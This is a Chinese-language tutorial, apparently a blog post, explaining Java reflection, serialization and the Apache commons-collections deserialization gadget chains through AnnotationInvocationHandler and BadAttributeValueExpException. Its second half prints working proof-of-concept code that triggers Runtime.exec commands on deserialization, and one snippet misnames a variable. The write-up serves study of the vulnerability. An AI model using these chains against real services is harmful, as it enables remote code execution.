Java反序列化学习

1.JAVA反射

在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。详细请戳

创建一个User类来进行测试,一个对象能被序列化、反序列化,必须实现Serializable,否则报错

public class User implements Serializable {
    private String name;
    private int age;
    public User(String name, int age) {
        this.name = name;
        this.age = age;
        System.out.println("create user done");
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return this.age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setAge(int age) {
        this.age = age;
    }
}

基本的java反射用法
获取类的Class对象class(描述类的对象)(类字节码)

Class cls1 = Class.forName("com.test.User");
Class cls2 = com.test.User.class;
User user1 = new User("test",18);
Class cls3 = user1.getClass();

cls1 cls2 cls3的值均为class com.test.User
将类字节码实例化,便能调用对象中的方法

Constructor constructor = cls1.getConstructor(String.class,int.class);
User user= (User) constructor.newInstance("test",18);
System.out.println(user.getName());

获取对象中方法并用invoke执行

Method method1 = cls1.getMethod("getName");
method1.invoke(user);
Method method2 = cls1.getMethod("setAge", int.class);
method2.invoke(user,21);

获取成员变量

//获取成员变量
Field field = cls1.getDeclaredField("name");
field.setAccessible(true);
field.set(user, "test");
//获取全部成员变量
Field[] fields = cls1.getDeclaredFields();
for (Field i:fields)
{
    i.setAccessible(true);
    System.out.println(i.getName()+":"+i.get(user));
}

2.JAVA序列化与反序列化

序列化:把对象转换成字节流,方便持久化保存
反序列化:把序列化后的字节流还原成对象
序列化和反序列化的对象必须实现Serializable接口

//实例化类
User test = new User("test",21);
//创建输出流
ByteArrayOutputStream op = new ByteArrayOutputStream();
ObjectOutputStream ops = new ObjectOutputStream(op);
//将对象test序列化为字节数组
ops.writeObject(test);
byte [] testobj = op.toByteArray();
//创建输入流
ByteArrayInputStream in = new ByteArrayInputStream(testobj);
ObjectInputStream ins = new ObjectInputStream(in);
//将保存在内存中的字节输入反序列化
User test2 = (User) ins.readObject();

3.漏洞分析

将前面的user类做个小小的改写,重写Serializable接口的readObject方法,在反序列化过程中echo命令将会被执行

public class User implements Serializable {
    private String name;
    private int age;
    public User(String name, int age) {
        this.name = name;
        this.age = age;
        System.out.println("create user done");
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return this.age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setAge(int age) {
        this.age = age;
    }
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Process p = Runtime.getRuntime().exec("echo cmdexec");
        //取得命令结果的输出流
        InputStream fis = p.getInputStream();
        //用一个读输出流类去读
        InputStreamReader isr = new InputStreamReader(fis);
        //用缓冲器读行
        BufferedReader br = new BufferedReader(isr);
        String line = null;
        //直到读完为止
        while ((line = br.readLine()) != null) {
            System.out.println(line);
        }
    }
}

又抛出一个问题,为什么重写readObject,在反序列化的过程中会导致命令被执行
调试过程中发现,在反序列化过程中,调用了重写过后的readObject方法导致命令执行
1
如何利用?控制代码中的readObject方法是不现实的。那么要寻找一些类readObject方法被重写,并且我们可以控制readObject中参数,这样就能导致我们的代码被执行。比较幸运的是,很多类都重写了readObject方法。下面分析一个比较经典的利用。AnnotationInvocationHandler、BadAttributeValueExpException类配合Apache commons-collections反射链来触发命令执行。

3.1 Apache commons-collections

该pop(反射链)也就是ysoserial中的CommonsCollections1
InvokerTransformer等危险类在3.2.2版本中已经不能序列化、反序列化,利用commons-collections 3.1版本进行分析。
下载地址

3.1.1 ConstantTransformer

ConstantTransformer,调用该类的transform方法返回传入对象本身。
2
以下代码输出class java.lang.Runtime

ConstantTransformer trans1= new ConstantTransformer(Runtime.class);
System.out.println(trans1.transform(java.lang.Class.class));

输出如下
3

3.1.2 InvokerTransformer

InvokerTransformer,其transform方法能通过invoke执行输入的对象。
4
能执行我们输入的东西,就是关注点。

3.1.3 ChainedTransformer

ChainedTransformer,它的transform方法能调用链中所有的transform方法,并且将前一个transform的输出作为当前transform的输入。
5

3.1.4 TransformedMap.decorate()

在Apache commons-collections中,存在TransformedMap.decorate()方法。decorate()传入一个map,当map中的任意元素被修改删除或新增元素时,都会调用传入的valueTransformer的transform方法进行特定变换
6

Map<String, Object> m = TransformedMap.decorate(test, null, chain);

TransformedMap.decorate()方法可以返回一个TransformedMap实例
7

3.1.5 LazyMap

在Apache commons-collections中,也存在LazyMap。当调用get方法时,会触发transform方法
18
这几个类,后面会用到。

3.2 构造POP

3.2.1 AnnotationInvocationHandler

先来分析一下ChainedTransform构造。我们可以通过构造一个ChainedTransformer,然后再调用TransformedMap.decorate()方法,传入任意map和我们刚刚构造的chain。这样就可以使map中任意元素改变时自动触发ChainedTransformer的transform方法,导致我们的攻击链被执行。
具体实现代码如下:

Transformer[] trans = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"touch chaintest"})
};
Transformer chain = new ChainedTransformer(trans);
Map<String, String> test = new HashMap<String, String>();
test.put("value", "anything");
Map<String, Object> m = TransformedMap.decorate(test, null, chain);
for (Map.Entry<String, Object> entry:m.entrySet()){
    entry.setValue("anything");
}

编译执行此段代码,直接会导致我们的touch命令被执行。仔细分析下反射链trans是如何构造的。直接调用transform方法下断点跟踪一下。chain.transform可以传入任意对象,随便传入一个字符串。
8
进入ChainedTransformer的transform方法中
执行第一个transform,返回了传入的Runtime.class
9
执行第二个transform,相当于执行java.lang.Class.getMethod(“getRuntime”,null); 返回java.lang.Runtime.getRuntime()这个方法(注意是返回的这个方法,不是执行了getRuntime())
10

执行第三个transform,相当于执行Runtime.class.getMethod(“getRuntime”,null).invoke(null)返回了Runtime实例
11
执行第四个transform,调用了exec,执行命令,返回具体进程
12
结合具体的的方法分析
第一次执行transform(“test”)比较简单
13

return Runtime.class

之后都是调用InvokerTransformer
14
过程用伪代码来分析一下
第二次执行transform(Runtime.class)

Runtime.class.getClass()   // Class.class
//执行getMethod(getRuntime())
Class.class.getMethod("getMethod",new Class[]{String.class, Class[].class}).invoke(Runtime.class,new Object[]{"getRuntime", new Class[0]})
//返回的是方法,方法也是对象,此处对象类型为java.lang.reflect.Method
return java.lang.Runtime.getRuntime方法

第三次执行transform(java.lang.Runtime.getRuntime())

java.lang.Runtime.getRuntime方法.getClass() //java.lang.reflect.Method.class
//Runtime.getMethod("getRuntime").invoke(null)执行了java.lang.Runtime.getRuntime()
java.lang.reflect.Method.class.getMethod("invoke",new Class[]{Object.class, Object[].class).invoke(java.lang.Runtime.getRuntime方法,new Object[]{null, new Object[0]})
return Runtime实例

第四次执行transform(Runtime实例)

Runtime实例.getClass()  //java.lang.Runtime
java.lang.Runtime.getMethod("exec",new Class[]{String.class}).invoke(Runtime实例,new Object[]{"touch chaintest"}))
//成功运行命令

那么问题来了,为何不使用更简单的调用方式执行命令

Transformer[] trans = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"whoami"})
};
Runtime实例.getClass()  //java.lang.Runtime
java.lang.Runtime.getMethod("exec",new Class[]{String.class}).invoke(Runtime实例,new Object[]{"whoami"})

因为传入的是个Runtime实例,但是Runtime这个类没有实现Serializable接口,不能被反序列化,所以就必须构造反射链
15

AnnotationInvocationHandler可以出场了。有了反射链,还需要一个正常的类在反序列化时触发我的反射链,这个类需重写readObject。
16
AnnotationInvocationHandler在readObject里会对map进行setValue操作,会直接触发我们构造的transform链
但利用条件jdk<=jdk8u60,大于该版本的已经无setValue方法
POC代码:

Transformer[] trans = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),  //new Object[]{null, null}
        new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"touch chaintest"})
};

Transformer chain = new ChainedTransformer(trans);
	Map map = new HashMap();
map.put("value", "value");
Map m = TransformedMap.decorate(map, null, chain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, m);

//创建输出流
ByteArrayOutputStream op = new ByteArrayOutputStream();
ObjectOutputStream ops = new ObjectOutputStream(op);
//将对象test序列化为字节数组
ops.writeObject(deserobj);
byte [] testobj = op.toByteArray();
//创建输入流
ByteArrayInputStream in = new ByteArrayInputStream(testobj);
ObjectInputStream ins = new ObjectInputStream(in);
//将保存在内存中的字节反序列化
AnnotationInvocationHandler deserobjsr2 = (AnnotationInvocationHandler) ins.readObject();

3.2.2 BadAttributeValueExpException

高版本再看一下另一个类BadAttributeValueExpException的readObject,其toString()成了突破口
17
为了配合BadAttributeValueExpException还需要了解两个类

TiedMapEntry toString()时会执行getValue()
19

执行getValue()时会执行map.get方法
20
而在LazyMap中,执行get方法,会执行transform方法
18

由于我们构造了BadAttributeValueExpException类型的对象,执行toString()时,便会触发transform导致rce
BadAttributeValueExpException readObjec =>TiedMapEntry getValue =>LazyMap get => ChainedTransformer transform

以下代码,反序列化时就会执行touch命令

Transformer[] trans = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),  //new Object[]{null, null}
        new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"touch chaintest"})
};

Transformer chain = new ChainedTransformer(trans);
final Map m = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(m, "test");
BadAttributeValueExpException deserobj = new BadAttributeValueExpException(null);
Field valfield = deserobj.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(deserobj, entry);
//创建输出流
ByteArrayOutputStream op = new ByteArrayOutputStream();
ObjectOutputStream ops = new ObjectOutputStream(op);
//将对象test序列化为字节数组
ops.writeObject(deserobj);
byte [] testobj = op.toByteArray();
//创建输入流
ByteArrayInputStream in = new ByteArrayInputStream(testobj);
ObjectInputStream ins = new ObjectInputStream(in);
//将保存在内存中的字节输入反序列化
BadAttributeValueExpException deserobjsr2 = (BadAttributeValueExpException) ins.readObject();

参考

[1]:浅析Java序列化和反序列化
[2]:Java反序列化漏洞从无到有
[3]:Java反序列化漏洞的原理分析

未完待续…

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值